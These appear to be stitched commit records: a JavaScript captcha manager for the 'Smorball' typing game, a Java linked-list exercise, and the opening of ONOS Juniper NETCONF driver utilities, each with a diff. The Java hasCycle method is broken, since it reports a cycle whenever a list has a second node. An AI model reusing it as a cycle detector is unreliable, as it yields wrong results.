this.loadPagesFromServer(2);
// Return the chunk popped
return chunk;
}
};
CaptchasManager.prototype.getNextChunkByProximity = function (lane) {
// If its a tutorial level then we need to use a speacially prepared list
var isChrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
//Check to see if all of the captchas on the screen are local
if (smorball.game.levelIndex == 0)
return this.localChunks.pop();
else {
// If there is nothing left in there lets grab another page
// Because chrome has hardware acceleration issues when showing captchas
// from two different pages at once, only load a new page when all of the
// current captchas are local (if on chrome). Otherwise, load some more pages
if (this.remoteChunks.length == 0)
{
var visibleCapatchas = this.getActiveCaptchas();
console.log(visibleCapatchas);
var allLocal = true;
for (var i = 0; i<visibleCapatchas.length; i++)
{
allLocal = (visibleCapatchas[i].chunk.page.isLocal);
if(!allLocal)
{
break;
}
}
if (isChrome && allLocal && !this.loadingData)
{
this.loadPagesFromServer(1);
this.loadingData = true;
}
if (!isChrome)
this.loadPagesFromServer(2);
}
// If there arent any chunks remaining then just chunk our local store in there
if (this.remoteChunks.length == 0)
return Utils.randomOne(this.localChunks);
else
this.loadingData = false;
// Else return a captcha based on enemy proximity in the lane
// The closer the enemy is, the shorter the captcha should be
var percent = 1 - smorball.game.getEnemyProximity(lane);
var index = Math.min(this.remoteChunks.length - 1, Math.floor(this.remoteChunks.length * percent));
var chunk = this.remoteChunks.splice(index, 1)[0];
// Return the chunk popped
return chunk;
}
};
CaptchasManager.prototype.update = function (delta) {
if (this.isLocked) {
this.lockedTimer += delta;
if (this.lockedTimer >= smorball.config.penaltyTime * this.confusedTimeMuliplier)
this.unlock();
}
};
CaptchasManager.prototype.pass = function () {
var _this = this;
// Decrement the number of passes remaining
smorball.game.passesRemaining--;
// Set new entries for the visible captcahs
_.chain(this.captchas).filter(function (c) { return c.chunk != null; }).each(function (c) { return c.setChunk(_this.getNextChunkByProximity()); });
this.updatePassButton();
};
CaptchasManager.prototype.updatePassButton = function () {
if (smorball.game.passesRemaining > 0) {
$("#gameScreen .entry .pass-btn").prop("disabled", false);
$("#gameScreen .entry .pass-btn").text("PASS (" + smorball.game.passesRemaining + ")");
}
else {
$("#gameScreen .entry .pass-btn").prop("disabled", true).text("PASS");
}
};
CaptchasManager.prototype.testTextEntry = function () {
// Cant test if the game is not running
if (smorball.game.state != 2 /* Playing */)
return;
// Grab the text and reset it ready for the next one
var text = $("#gameScreen .entry input").val();
if (text == null || text == "")
return; // skip if no text entered
$("#gameScreen .entry input").val("");
// Check for cheats first (if we are in debug mode)
if (smorball.config.debug && this.checkForCheats(text))
return;
// Get the visible captchas on screen
var visibleCapatchas = this.getActiveCaptchas();
// If there are no visible then lets just jump out until they are
if (visibleCapatchas.length == 0)
return;
// Sort active captchas based on enemy proximity in each lane
// (in case two captchas match, this will prioritize the lane with a closer enemy)
visibleCapatchas = _.sortBy(visibleCapatchas, function(c) {
return -smorball.game.getEnemyProximity(c.lane);
});
// Log
console.log("Comparing text", text, _.map(this.captchas, function (c) { return c.chunk; }));
// Convert them into a form that the closestWord algo needs
var differences = _.map(visibleCapatchas, function (c) { return c.chunk; });
// Slam it through the library
var output = new closestWord(text, differences);
output.text = text;
console.log("Comparing inputted text against captchas", text, output);
// Increment and send if neccessary
if (!output.closestOcr.page.isLocal) {
this.attemptsNotSent.push(output);
if (this.attemptsNotSent.length > smorball.config.entriesBeforeServerSubmission)
this.sendInputsToServer();
}
// Handle success
if (output.match) {
// Which was the selected one?
var captcha = _.find(visibleCapatchas, function (c) { return c.chunk == output.closestOcr; });
this.onCaptchaEnteredSuccessfully(text, captcha);
}
else
this.onCaptchaEnterError();
};
CaptchasManager.prototype.onCaptchaEnteredSuccessfully = function (text, captcha) {
var _this = this;
// Hide the current captcha
captcha.clear();
// Show the indicator
smorball.screens.game.indicator.showCorrect();
// This is needed as the Breakfast Club powerup is dependant on the length of the captcha
var damageBonus = 0;
if (text.length > 7 && smorball.upgrades.isOwned("breakfast"))
damageBonus += smorball.upgrades.getUpgrade("breakfast").damageBonus;
var speedMultiplier = 1;
if (smorball.upgrades.isOwned("speeddrills"))
speedMultiplier = smorball.upgrades.getUpgrade("speeddrills").speedMultiplier;
// If we have the bullhorn powerup selected then send all athletes running
var powerup = smorball.screens.game.selectedPowerup;
if (powerup != null) {
// Play a sound
smorball.audio.playSound("word_typed_correctly_with_powerup_sound");
// If its a bullhorn then send every athlete in the
if (powerup.type == "bullhorn") {
_.chain(smorball.game.athletes).filter(function (a) { return a.state == 1 /* ReadyToRun */; }).each(function (a) { return _this.sendAthleteInLane(a.lane, text, damageBonus, speedMultiplier); });
}
else
this.sendAthleteInLane(captcha.lane, text, damageBonus, speedMultiplier);
// Decrement the powerup
smorball.powerups.powerups[powerup.type].quantity--;
// Deselect the powerup
smorball.screens.game.selectPowerup(null);
}
else {
// Play a sound
smorball.audio.playSound("word_typed_correct_sound");
this.sendAthleteInLane(captcha.lane, text, damageBonus, speedMultiplier);
// If this is the tutorial level then make sure the captcha is now hidden so the user cant enter before the next wave
if (smorball.game.levelIndex == 0)
captcha.visible = false;
}
};
CaptchasManager.prototype.getActiveCaptchas = function () {
return _.filter(this.captchas, function (c) { return c.visible && c.chunk != null; });
};
CaptchasManager.prototype.onCaptchaEnterError = function () {
var _this = this;
// Play a sound
smorball.audio.playSound("word_typed_incorrect_sound");
// Show the indicator
smorball.screens.game.indicator.showIncorrect();
// Add a score penalty and show some floating text
var penalty = smorball.config.incorrectCaptchaScorePenalty;
smorball.game.levelScore -= penalty;
smorball.screens.game.actors.addChild(new FloatingText("-" + penalty, smorball.config.width / 2, smorball.config.height / 2 + 200));
// So long as we arent running the first level then lets refresh all the captchas
if (smorball.game.levelIndex != 0) {
_.each(this.getActiveCaptchas(), function (c) { return _this.refreshCaptcha(c.lane); });
}
// Finally lock
this.lock();
};
CaptchasManager.prototype.sendAthleteInLane = function (lane, text, damageBonus, speedMultiplier) {
// Start the athlete running
var athelete = _.find(smorball.game.athletes, function (a) { return a.lane == lane && a.state == 1 /* ReadyToRun */; });
athelete.damageBonus = damageBonus;
athelete.speedMultiplier = speedMultiplier;
athelete.knockback = Utils.clamp(text.length * smorball.config.knockbackWordLengthMultiplier, smorball.config.knockbackMin, smorball.config.knockbackMax);
athelete.run();
// Spawn another in the same lane
smorball.spawning.spawnAthlete(lane);
};
CaptchasManager.prototype.checkForCheats = function (text) {
if (text.toLowerCase() == "win level") {
smorball.game.enemiesKilled = smorball.spawning.enemySpawnsThisLevel;
smorball.game.levelScore = Math.round(100 + Math.random() * 500);
smorball.game.gameOver(true);
return true;
}
else if (text.toLowerCase() == "loose level") {
smorball.game.enemiesKilled = Math.round(Math.random() * smorball.spawning.enemySpawnsThisLevel);
smorball.game.levelScore = 0;
smorball.game.gameOver(false);
return true;
}
else if (text.toLowerCase() == "win all levels") {
smorball.game.enemiesKilled = Math.round(Math.random() * smorball.spawning.enemySpawnsThisLevel);
smorball.game.levelScore = Math.round(100 + Math.random() * 500);
smorball.user.cash += 99999;
for (var i = 0; i < smorball.game.levels.length; i++)
smorball.user.levelWon(i);
smorball.game.gameOver(true);
return true;
}
else if (text.toLowerCase() == "increase cleats") {
smorball.powerups.powerups.cleats.quantity++;
return true;
}
else if (text.toLowerCase() == "increase helmets") {
smorball.powerups.powerups.helmet.quantity++;
return true;
}
else if (text.toLowerCase() == "increase bullhorns") {
smorball.powerups.powerups.bullhorn.quantity++;
return true;
}
else if (text.toLowerCase() == "spawn powerup") {
smorball.powerups.spawnPowerup(Utils.randomOne(_.keys(smorball.powerups.types)), Utils.randomOne(smorball.game.level.lanes));
return true;
}
return false;
};
CaptchasManager.prototype.lock = function () {
// Disable all the inputs
$("#gameScreen .entry .submit-btn").prop("disabled", true);
$("#gameScreen .entry input").prop("disabled", true);
$("#gameScreen .entry .pass-btn").prop("disabled", true);
// Shake them
Utils.shake($("#gameScreen .entry input"));
// Make the athletes play their confused animations
_.each(smorball.game.athletes, function (a) {
if (a.state == 1 /* ReadyToRun */)
a.sprite.gotoAndPlay("confused");
});
// After some time enable them again
this.lockedTimer = 0;
this.isLocked = true;
// Hide all captchas unti lthe confused wears off
this.hideCaptchas();
};
CaptchasManager.prototype.unlock = function () {
$("#gameScreen .entry .submit-btn").prop("disabled", false);
$("#gameScreen .entry input").prop("disabled", false);
if (smorball.game.passesRemaining > 0)
$("#gameScreen .entry .pass-btn").prop("disabled", false);
// Focus the input again
$("#gameScreen .entry input").focus();
// Make the athletes return to normal
_.each(smorball.game.athletes, function (a) {
if (a.state == 1 /* ReadyToRun */)
a.sprite.gotoAndPlay("idle");
});
// Not locked any more
this.isLocked = false;
// Show captchas again
this.showCaptchas();
};
CaptchasManager.prototype.sendInputsToServer = function () {
var _this = this;
// Dont send anything if there arent enoughv to send!
if (this.attemptsNotSent.length == 0)
return;
console.log("sending difference inputs to sever..");
// Convert it into the format needed by the server
var data = {
differences: _.map(this.attemptsNotSent, function (a) {
return { _id: a.closestOcr._id, text: a.text };
})
};
// Make a copy of the attempts not sent and reset the list ready for the next send
var attempts = this.attemptsNotSent.slice();
this.attemptsNotSent = [];
$.ajax({
type: 'PUT',
dataType: 'json',
processData: false,
contentType: 'application/json',
crossDomain: true,
url: smorball.config.DifferenceAPIUrl,
data: JSON.stringify(data),
timeout: 10000,
success: function (data) {
console.log("data sent to DifferenceAPI success!", data);
},
error: function (err) {
console.log("difference API error:", err);
// If we get an error, add these attempts back into the list
_this.attemptsNotSent = _this.attemptsNotSent.concat(attempts);
},
headers: { "x-access-token": smorball.config.PageAPIAccessToken }
});
};
CaptchasManager.prototype.loadPageFromServer = function () {
var _this = this;
$.ajax({
url: smorball.config.PageAPIUrl,
success: function (data) { return _this.parsePageAPIData(data); },
headers: { "x-access-token": smorball.config.PageAPIAccessToken },
timeout: smorball.config.PageAPITimeout
});
};
CaptchasManager.prototype.loadPagesFromServer = function (numPages, captchasPerPage) {
if (typeof(captchasPerPage)==='undefined') captchasPerPage = 0;
var _this = this;
$.ajax({
url: smorball.config.PageAPIUrl,
success: function (data) {
if (numPages > 1)
_this.loadPagesFromServer(numPages - 1);
return _this.parsePageAPIData(data);
},
headers: { "x-access-token": smorball.config.PageAPIAccessToken },
timeout: smorball.config.PageAPITimeout,
data: { wordAmount: captchasPerPage }
});
};
CaptchasManager.prototype.parsePageAPIData = function (data) {
var _this = this;
console.log("OCRPage loaded, loading image..", data);
localStorage["last_page"] = JSON.stringify(data);
data.isLocal = false;
// This seems to be the only way I can get the CORS image to work
var image = new Image();
image.src = data.url;
image.onload = function () {
console.log("OCRPage image loaded..", image);
var ssData = {
frames: [],
images: []
};
_.each(data.differences, function (d) {
var x = d.coords[3].x;
var y = d.coords[3].y;
var w = d.coords[1].x - d.coords[3].x;
var h = d.coords[1].y - d.coords[3].y;
// A few error catches here
if (x < 0)
console.error("X LESS THAN ZERO!! ", d);
if (y < 0)
console.error("Y LESS THAN ZERO!! ", d);
if (w <= 0)
console.error("WIDTH LESS THAN OR EQUAL TO ZERO!! ", d);
if (h <= 0)
console.error("HEIGHT LESS THAN OR EQUAL TO ZERO!! ", d);
if (x + w > image.width)
console.error("WIDTH GREATER THAN IMAGE!! ", d);
if (y + h > image.height)
console.error("WIDTH GREATER THAN IMAGE!! ", d);
d.frame = ssData.frames.length;
d.page = data;
ssData.frames.push([x, y, w, h]);
_this.remoteChunks.push(d);
});
// Sort incoming captchas by length (ascending)
_this.remoteChunks = _.sortBy(_this.remoteChunks, function(c) {
return (c.texts[0].length + c.texts[1].length) / 2;
});
ssData.images = [image];
data.spritesheet = new createjs.SpriteSheet(ssData);
};
};
return CaptchasManager;
})();
| Clear input field on pass
When the player uses a pass to reset captchas, the input field should
be cleared, since any text entered will no longer be relevant.
| src/Smorball/wwwroot/js/managers/capatchas-manager.js | Clear input field on pass | <ide><path>rc/Smorball/wwwroot/js/managers/capatchas-manager.js
<ide> smorball.game.passesRemaining--;
<ide> // Set new entries for the visible captcahs
<ide> _.chain(this.captchas).filter(function (c) { return c.chunk != null; }).each(function (c) { return c.setChunk(_this.getNextChunkByProximity()); });
<add> $("#gameScreen .entry input").val("");
<ide> this.updatePassButton();
<ide> };
<ide> CaptchasManager.prototype.updatePassButton = function () { |
|
Java | apache-2.0 | 82dfd58fa39719cecf83477790d7ab3cf8783151 | 0 | 1Evgeny/java-a-to-z,1Evgeny/java-a-to-z,1Evgeny/java-a-to-z | package by.vorokhobko.List;
/**
* CyclicalLinkedList.
*
* Class CyclicalLinkedList to determine the cyclical for 005_Pro, lesson 3.
* @author Evgeny Vorokhobko ([email protected]).
* @since 28.06.2017.
* @version 1.
* @param <T>.
*/
public class CyclicalLinkedList<T> {
/**
* Node.
*
* Class Node for start CyclicalLinkedList 005_Pro, lesson 3.
* @param <T>.
*/
public static class Node<T> {
/**
* The class field.
*/
private T value;
/**
* The class field.
*/
private Node<T> next;
/**
* Add constructor.
* @param value - value.
*/
public Node(T value) {
this.value = value;
}
/**
* Add setter nextElement.
* @param next - next.
*/
public void setNext(Node<T> next) {
this.next = next;
}
/**
* Add getter next.
* @return tag.
*/
public Node<T> getNext() {
return next;
}
}
/**
* Method return true if have cycle.
* @param first - first.
* @return tag.
*/
public boolean hasCycle(Node first) {
boolean isNeedSave = false;
Node count = first.getNext();
while ((first = count) != null) {
isNeedSave = true;
break;
}
return isNeedSave;
}
} | chapter_005_Pro/src/main/java/by/vorokhobko/List/CyclicalLinkedList.java | package by.vorokhobko.List;
/**
* CyclicalLinkedList.
*
* Class CyclicalLinkedList to determine the cyclical for 005_Pro, lesson 3.
* @author Evgeny Vorokhobko ([email protected]).
* @since 28.06.2017.
* @version 1.
* @param <T>.
*/
public class CyclicalLinkedList<T> {
/**
* Node.
*
* Class Node for start CyclicalLinkedList 005_Pro, lesson 3.
* @param <T>.
*/
public static class Node<T> {
/**
* The class field.
*/
private T value;
/**
* The class field.
*/
private Node<T> next;
/**
* Add constructor.
* @param value - value.
*/
public Node(T value) {
this.value = value;
}
/**
* Add setter nextElement.
* @param next - next.
*/
public void setNext(Node<T> next) {
this.next = next;
}
/**
* Add getter next.
* @return tag.
*/
public Node<T> getNext() {
return next;
}
}
/**
* Method return true if have cycle.
* @param first - first.
* @return tag.
*/
public boolean hasCycle(Node first) {
boolean isNeedSave = false;
Node count = first.getNext();
if (first == null) {
isNeedSave = false;
}
while ((first = count) != null) {
if (first.equals(count)) {
isNeedSave = true;
break;
}
}
return isNeedSave;
}
} | update 5.3.4. Задан связанный список. Определить цикличность.[#18058]
| chapter_005_Pro/src/main/java/by/vorokhobko/List/CyclicalLinkedList.java | update 5.3.4. Задан связанный список. Определить цикличность.[#18058] | <ide><path>hapter_005_Pro/src/main/java/by/vorokhobko/List/CyclicalLinkedList.java
<ide> public boolean hasCycle(Node first) {
<ide> boolean isNeedSave = false;
<ide> Node count = first.getNext();
<del> if (first == null) {
<del> isNeedSave = false;
<del> }
<ide> while ((first = count) != null) {
<del> if (first.equals(count)) {
<ide> isNeedSave = true;
<ide> break;
<del> }
<ide> }
<ide> return isNeedSave;
<ide> } |
|
Java | apache-2.0 | ebff1b5c5211010691da1cecfb2fdcd739cbbf63 | 0 | kuujo/onos,oplinkoms/onos,gkatsikas/onos,opennetworkinglab/onos,osinstom/onos,kuujo/onos,kuujo/onos,gkatsikas/onos,oplinkoms/onos,LorenzReinhart/ONOSnew,opennetworkinglab/onos,oplinkoms/onos,oplinkoms/onos,gkatsikas/onos,osinstom/onos,osinstom/onos,osinstom/onos,LorenzReinhart/ONOSnew,kuujo/onos,sdnwiselab/onos,opennetworkinglab/onos,kuujo/onos,opennetworkinglab/onos,LorenzReinhart/ONOSnew,osinstom/onos,LorenzReinhart/ONOSnew,opennetworkinglab/onos,oplinkoms/onos,LorenzReinhart/ONOSnew,sdnwiselab/onos,sdnwiselab/onos,oplinkoms/onos,opennetworkinglab/onos,gkatsikas/onos,kuujo/onos,oplinkoms/onos,gkatsikas/onos,sdnwiselab/onos,sdnwiselab/onos,gkatsikas/onos,sdnwiselab/onos,kuujo/onos | /*
* Copyright 2016-present Open Networking Laboratory
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.onosproject.drivers.juniper;
import org.apache.commons.configuration.HierarchicalConfiguration;
import org.onlab.packet.ChassisId;
import org.onlab.packet.MacAddress;
import org.onosproject.net.AnnotationKeys;
import org.onosproject.net.ConnectPoint;
import org.onosproject.net.DefaultAnnotations;
import org.onosproject.net.DefaultAnnotations.Builder;
import org.onosproject.net.DeviceId;
import org.onosproject.net.Link;
import org.onosproject.net.Port;
import org.onosproject.net.PortNumber;
import org.onosproject.net.Port.Type;
import org.onosproject.net.device.DefaultDeviceDescription;
import org.onosproject.net.device.DefaultPortDescription;
import org.onosproject.net.device.DeviceDescription;
import org.onosproject.net.device.PortDescription;
import org.onosproject.net.link.DefaultLinkDescription;
import org.onosproject.net.link.LinkDescription;
import org.slf4j.Logger;
import com.google.common.base.Strings;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static org.onosproject.net.Device.Type.ROUTER;
import static org.onosproject.net.PortNumber.portNumber;
import static org.slf4j.LoggerFactory.getLogger;
// Ref: Junos YANG:
// https://github.com/Juniper/yang
/**
* Utility class for Netconf XML for Juniper.
* Tested with MX240 junos 14.2
*/
public final class JuniperUtils {
private static final Logger log = getLogger(JuniperUtils.class);
public static final String FAILED_CFG = "Failed to retrieve configuration.";
private static final String RPC_TAG_NETCONF_BASE = "<rpc xmlns=\"urn:ietf:params:xml:ns:netconf:base:1.0\">";
private static final String RPC_CLOSE_TAG = "</rpc>";
//requests
public static final String REQ_LLDP_NBR_INFO = "<get-lldp-neighbors-information/>";
public static final String REQ_SYS_INFO = "<get-system-information/>";
public static final String REQ_MAC_ADD_INFO = "<get-chassis-mac-addresses/>";
public static final String REQ_IF_INFO = "<get-interface-information/>";
//helper strings for parsing
private static final String LLDP_LIST_NBR_INFO = "lldp-neighbors-information";
private static final String LLDP_NBR_INFO = "lldp-neighbor-information";
private static final String SYS_INFO = "system-information";
private static final String HW_MODEL = "hardware-model";
private static final String OS_NAME = "os-name";
private static final String OS_VER = "os-version";
private static final String SER_NUM = "serial-number";
private static final String IF_INFO = "interface-information";
private static final String IF_PHY = "physical-interface";
private static final String IF_TYPE = "if-type";
private static final String SPEED = "speed";
private static final String NAME = "name";
// seems to be unique index within device
private static final String SNMP_INDEX = "snmp-index";
private static final String LLDP_LO_PORT = "lldp-local-port-id";
private static final String LLDP_REM_CHASS = "lldp-remote-chassis-id";
private static final String LLDP_REM_PORT = "lldp-remote-port-id";
private static final String REGEX_ADD =
".*Private base address\\s*([:,0-9,a-f,A-F]*).*";
private static final Pattern ADD_PATTERN =
Pattern.compile(REGEX_ADD, Pattern.DOTALL);
private static final String JUNIPER = "JUNIPER";
private static final String UNKNOWN = "UNKNOWN";
/**
* Annotation key for interface type.
*/
static final String AK_IF_TYPE = "ifType";
/**
* Annotation key for Logical link-layer encapsulation.
*/
static final String AK_ENCAPSULATION = "encapsulation";
/**
* Annotation key for interface description.
*/
static final String AK_DESCRIPTION = "description";
/**
* Annotation key for interface admin status. "up"/"down"
*/
static final String AK_ADMIN_STATUS = "adminStatus";
/**
* Annotation key for interface operational status. "up"/"down"
*/
static final String AK_OPER_STATUS = "operStatus";
/**
* Annotation key for logical-interfaces parent physical interface name.
*/
static final String AK_PHYSICAL_PORT_NAME = "physicalPortName";
private static final String NUMERIC_SPEED_REGEXP = "(\\d+)([GM])bps";
/**
* {@value #NUMERIC_SPEED_REGEXP} as {@link Pattern}.
* Case insensitive
*/
private static final Pattern SPEED_PATTERN =
Pattern.compile(NUMERIC_SPEED_REGEXP, Pattern.CASE_INSENSITIVE);
/**
* Default port speed {@value} Mbps.
*/
private static final long DEFAULT_PORT_SPEED = 1000;
private JuniperUtils() {
//not called, preventing any allocation
}
/**
* Helper method to build a XML schema given a request.
*
* @param request a tag element of the XML schema
* @return string containing the XML schema
*/
public static String requestBuilder(String request) {
return RPC_TAG_NETCONF_BASE +
request + RPC_CLOSE_TAG;
}
/**
* Parses device configuration and returns the device description.
*
* @param deviceId the id of the device
* @param sysInfoCfg system configuration
* @param chassisText chassis string
* @return device description
*/
public static DeviceDescription parseJuniperDescription(DeviceId deviceId,
HierarchicalConfiguration sysInfoCfg,
String chassisText) {
HierarchicalConfiguration info = sysInfoCfg.configurationAt(SYS_INFO);
String hw = info.getString(HW_MODEL) == null ? UNKNOWN : info.getString(HW_MODEL);
String sw = UNKNOWN;
if (info.getString(OS_NAME) != null || info.getString(OS_VER) != null) {
sw = info.getString(OS_NAME) + " " + info.getString(OS_VER);
}
String serial = info.getString(SER_NUM) == null ? UNKNOWN : info.getString(SER_NUM);
Matcher matcher = ADD_PATTERN.matcher(chassisText);
if (matcher.lookingAt()) {
String chassis = matcher.group(1);
MacAddress chassisMac = MacAddress.valueOf(chassis);
return new DefaultDeviceDescription(deviceId.uri(), ROUTER,
JUNIPER, hw, sw, serial,
new ChassisId(chassisMac.toLong()),
DefaultAnnotations.EMPTY);
}
return new DefaultDeviceDescription(deviceId.uri(), ROUTER,
JUNIPER, hw, sw, serial,
null, DefaultAnnotations.EMPTY);
}
/**
* Parses device ports configuration and returns a list of
* port description.
*
* @param cfg interface configuration
* @return list of interface descriptions of the device
*/
public static List<PortDescription> parseJuniperPorts(HierarchicalConfiguration cfg) {
//This methods ignores some internal ports
List<PortDescription> portDescriptions = new ArrayList<>();
List<HierarchicalConfiguration> subtrees =
cfg.configurationsAt(IF_INFO);
for (HierarchicalConfiguration interfInfo : subtrees) {
List<HierarchicalConfiguration> interfaceTree =
interfInfo.configurationsAt(IF_PHY);
for (HierarchicalConfiguration phyIntf : interfaceTree) {
if (phyIntf == null) {
continue;
}
// parse physical Interface
parsePhysicalInterface(portDescriptions, phyIntf);
}
}
return portDescriptions;
}
/**
* Parses {@literal physical-interface} tree.
*
* @param portDescriptions list to populate Ports found parsing configuration
* @param phyIntf physical-interface
*/
private static void parsePhysicalInterface(List<PortDescription> portDescriptions,
HierarchicalConfiguration phyIntf) {
Builder annotations = DefaultAnnotations.builder();
PortNumber portNumber = portNumber(phyIntf.getString(SNMP_INDEX));
String phyPortName = phyIntf.getString(NAME);
if (portNumber == null) {
log.debug("Skipping physical-interface {}, no PortNumer",
phyPortName);
log.trace(" {}", phyIntf);
return;
}
setIfNonNull(annotations,
AnnotationKeys.PORT_NAME,
phyPortName);
setIfNonNull(annotations,
AnnotationKeys.PORT_MAC,
phyIntf.getString("current-physical-address"));
setIfNonNull(annotations,
AK_IF_TYPE,
phyIntf.getString(IF_TYPE));
setIfNonNull(annotations,
AK_DESCRIPTION,
phyIntf.getString("description"));
boolean opUp = phyIntf.getString(AK_OPER_STATUS, "down").equals("up");
annotations.set("oper-status", toUpDown(opUp));
boolean admUp = phyIntf.getString(AK_ADMIN_STATUS, "down").equals("up");
annotations.set("admin-status", toUpDown(admUp));
long portSpeed = toMbps(phyIntf.getString(SPEED));
portDescriptions.add(new DefaultPortDescription(portNumber,
admUp & opUp,
Type.COPPER,
portSpeed,
annotations.build()));
// parse each logical Interface
for (HierarchicalConfiguration logIntf : phyIntf.configurationsAt("logical-interface")) {
if (logIntf == null) {
continue;
}
PortNumber lPortNumber = safePortNumber(logIntf.getString(SNMP_INDEX));
if (lPortNumber == null) {
log.debug("Skipping logical-interface {} under {}, no PortNumer",
logIntf.getString(NAME), phyPortName);
log.trace(" {}", logIntf);
continue;
}
Builder lannotations = DefaultAnnotations.builder();
setIfNonNull(lannotations,
AnnotationKeys.PORT_NAME,
logIntf.getString(NAME));
setIfNonNull(lannotations,
AK_PHYSICAL_PORT_NAME,
phyPortName);
String afName = logIntf.getString("address-family.address-family-name");
String address = logIntf.getString("address-family.interface-address.ifa-local");
if (afName != null && address != null) {
// e.g., inet : IPV4, inet6 : IPV6
setIfNonNull(lannotations, afName, address);
}
// preserving former behavior
setIfNonNull(lannotations,
"ip",
logIntf.getString("address-family.interface-address.ifa-local"));
setIfNonNull(lannotations,
AK_ENCAPSULATION, logIntf.getString("encapsulation"));
// TODO confirm if this is correct.
// Looking at sample data,
// it seemed all logical loop-back interfaces were down
boolean lEnabled = logIntf.getString("if-config-flags.iff-up") != null;
portDescriptions.add(new DefaultPortDescription(lPortNumber,
admUp & opUp & lEnabled,
Type.COPPER,
portSpeed,
lannotations.build()));
}
}
/**
* Port status as "up"/"down".
*
* @param portStatus port status
* @return "up" if {@code portStats} is {@literal true}, "down" otherwise
*/
static String toUpDown(boolean portStatus) {
return portStatus ? "up" : "down";
}
/**
* Translate interface {@literal speed} value as Mbps value.
*
* Note: {@literal Unlimited} and unrecognizable string will be treated as
* {@value #DEFAULT_PORT_SPEED} Mbps.
*
* @param speed in String
* @return Mbps
*/
static long toMbps(String speed) {
String s = Strings.nullToEmpty(speed).trim().toLowerCase();
Matcher matcher = SPEED_PATTERN.matcher(s);
if (matcher.matches()) {
// numeric
int n = Integer.parseInt(matcher.group(1));
String unit = matcher.group(2);
if ("m".equalsIgnoreCase(unit)) {
// Mbps
return n;
} else {
// assume Gbps
return 1000 * n;
}
}
log.trace("Treating unknown speed value {} as default", speed);
// Unlimited or unrecognizable
return DEFAULT_PORT_SPEED;
}
/**
* Sets annotation entry if {@literal value} was not {@literal null}.
*
* @param builder Annotation Builder
* @param key Annotation key
* @param value Annotation value (can be {@literal null})
*/
static void setIfNonNull(Builder builder, String key, String value) {
if (value != null) {
builder.set(key, value.trim());
}
}
/**
* Creates PortNumber instance from String.
*
* Instead for throwing Exception, it will return null on format error.
*
* @param s port number as string
* @return PortNumber instance or null on error
*/
static PortNumber safePortNumber(String s) {
try {
return portNumber(s);
} catch (RuntimeException e) {
log.trace("Failed parsing PortNumber {}", s, e);
}
return null;
}
/**
* Create two LinkDescriptions corresponding to the bidirectional links.
*
* @param localDevId the identity of the local device
* @param localPort the port of the local device
* @param remoteDevId the identity of the remote device
* @param remotePort the port of the remote device
* @param descs the collection to which the link descriptions
* should be added
*/
public static void createBiDirLinkDescription(DeviceId localDevId,
Port localPort,
DeviceId remoteDevId,
Port remotePort,
Set<LinkDescription> descs) {
ConnectPoint local = new ConnectPoint(localDevId, localPort.number());
ConnectPoint remote = new ConnectPoint(remoteDevId, remotePort.number());
DefaultAnnotations annotations = DefaultAnnotations.builder()
.set("layer", "IP")
.build();
descs.add(new DefaultLinkDescription(
local, remote, Link.Type.INDIRECT, false, annotations));
descs.add(new DefaultLinkDescription(
remote, local, Link.Type.INDIRECT, false, annotations));
}
/**
* Parses neighbours discovery information and returns a list of
* link abstractions.
*
* @param info interface configuration
* @return set of link abstractions
*/
public static Set<LinkAbstraction> parseJuniperLldp(HierarchicalConfiguration info) {
Set<LinkAbstraction> neighbour = new HashSet<>();
List<HierarchicalConfiguration> subtrees =
info.configurationsAt(LLDP_LIST_NBR_INFO);
for (HierarchicalConfiguration neighborsInfo : subtrees) {
List<HierarchicalConfiguration> neighbors =
neighborsInfo.configurationsAt(LLDP_NBR_INFO);
for (HierarchicalConfiguration neighbor : neighbors) {
String localPortName = neighbor.getString(LLDP_LO_PORT);
MacAddress mac = MacAddress.valueOf(
neighbor.getString(LLDP_REM_CHASS));
int remotePortIndex =
neighbor.getInt(LLDP_REM_PORT);
LinkAbstraction link = new LinkAbstraction(
localPortName,
mac.toLong(),
remotePortIndex);
neighbour.add(link);
}
}
return neighbour;
}
/**
* Device representation of the adjacency at the IP Layer.
*/
protected static final class LinkAbstraction {
protected String localPortName;
protected ChassisId remoteChassisId;
protected int remotePortIndex;
protected LinkAbstraction(String pName, long chassisId, int pIndex) {
this.localPortName = pName;
this.remoteChassisId = new ChassisId(chassisId);
this.remotePortIndex = pIndex;
}
}
}
| drivers/juniper/src/main/java/org/onosproject/drivers/juniper/JuniperUtils.java | /*
* Copyright 2016-present Open Networking Laboratory
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.onosproject.drivers.juniper;
import com.google.common.collect.Lists;
import org.apache.commons.configuration.HierarchicalConfiguration;
import org.onlab.packet.ChassisId;
import org.onlab.packet.MacAddress;
import org.onosproject.net.AnnotationKeys;
import org.onosproject.net.ConnectPoint;
import org.onosproject.net.DefaultAnnotations;
import org.onosproject.net.DeviceId;
import org.onosproject.net.Link;
import org.onosproject.net.Port;
import org.onosproject.net.PortNumber;
import org.onosproject.net.device.DefaultDeviceDescription;
import org.onosproject.net.device.DefaultPortDescription;
import org.onosproject.net.device.DeviceDescription;
import org.onosproject.net.device.PortDescription;
import org.onosproject.net.link.DefaultLinkDescription;
import org.onosproject.net.link.LinkDescription;
import org.slf4j.Logger;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static java.lang.Integer.parseInt;
import static org.onosproject.net.DefaultAnnotations.Builder;
import static org.onosproject.net.Device.Type.ROUTER;
import static org.onosproject.net.Port.Type.COPPER;
import static org.onosproject.net.PortNumber.portNumber;
import static org.slf4j.LoggerFactory.getLogger;
/**
* Utility class for Netconf XML for Juniper.
